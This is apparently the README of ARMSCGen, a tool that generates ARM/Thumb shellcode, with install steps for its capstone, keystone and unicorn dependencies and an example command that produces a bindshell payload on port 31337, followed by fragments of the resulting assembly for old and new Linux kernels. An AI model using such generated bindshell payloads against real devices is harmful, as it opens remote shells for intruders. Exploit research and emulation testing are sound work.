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Shellcodes for ARM/Thumb mode

Ideas came from shell-storm and pwntools/pwnies.

Thanks to share all of brilliant sources on the net.

I'm interested in mobile platform and archtecture like Android on ARM, Router on MIPS and so on.

This project named ARMSCGen focus on shellcode on ARM Architecture especially ARMv7 Thumb Mode.

  • updated: v0.0.20
    • added sctest for emulating shellcodes using unicorn-engine
    • removed test code related to unicorn-engine in


ARMSCGen highly depends on {capstone|keystone|unicorn}-engine.

Capstone is needed to disassemble codes. Install Capstone with:

$sudo pip install capstone

Keystone is needed to assemeble shellcodes. Install Keystone with:

$sudo pip install keystone-engine

or refers to here

Unicorn Engine is needed to emulate shellcodes. For installing Unicorn Engine, refers to here


$sudo python install


reads examples directory (some examples has been outdated)


uses in CLI mode

List of Shellcodes

please refer to or scgen -l -a all


Some of thumb mode shellcodes have new option named version.

If you'd like to test shellcodes on old kernel like 2.x then

try to use this option. for example

# linux kernel 2.4 - socketcall
$ scgen -a thumb bindshell 31337 4 2 0 -f a

/* socketcall( socket, { 2, 1, 6 } ) */
movs r1, #2
movs r2, #1
movs r3, #6
push {r1-r3}
movs r0, #1
mov  r1, sp
movs r7, #102
svc 1

# linux kernel 3.x or later
$ scgen -a thumb bindshell 31337 4 3 0 -f a

/* socket(...) */
movs r0, #2
movs r1, #1
subs r2, r2, r2
subs r7, r7, r7
adds r7, r7, #255
adds r7, r7, #26
svc 1 


(need to upgrade) URL: or /docs/ in source


writes shellcodes precisely and writes docs in detail

(To be continued)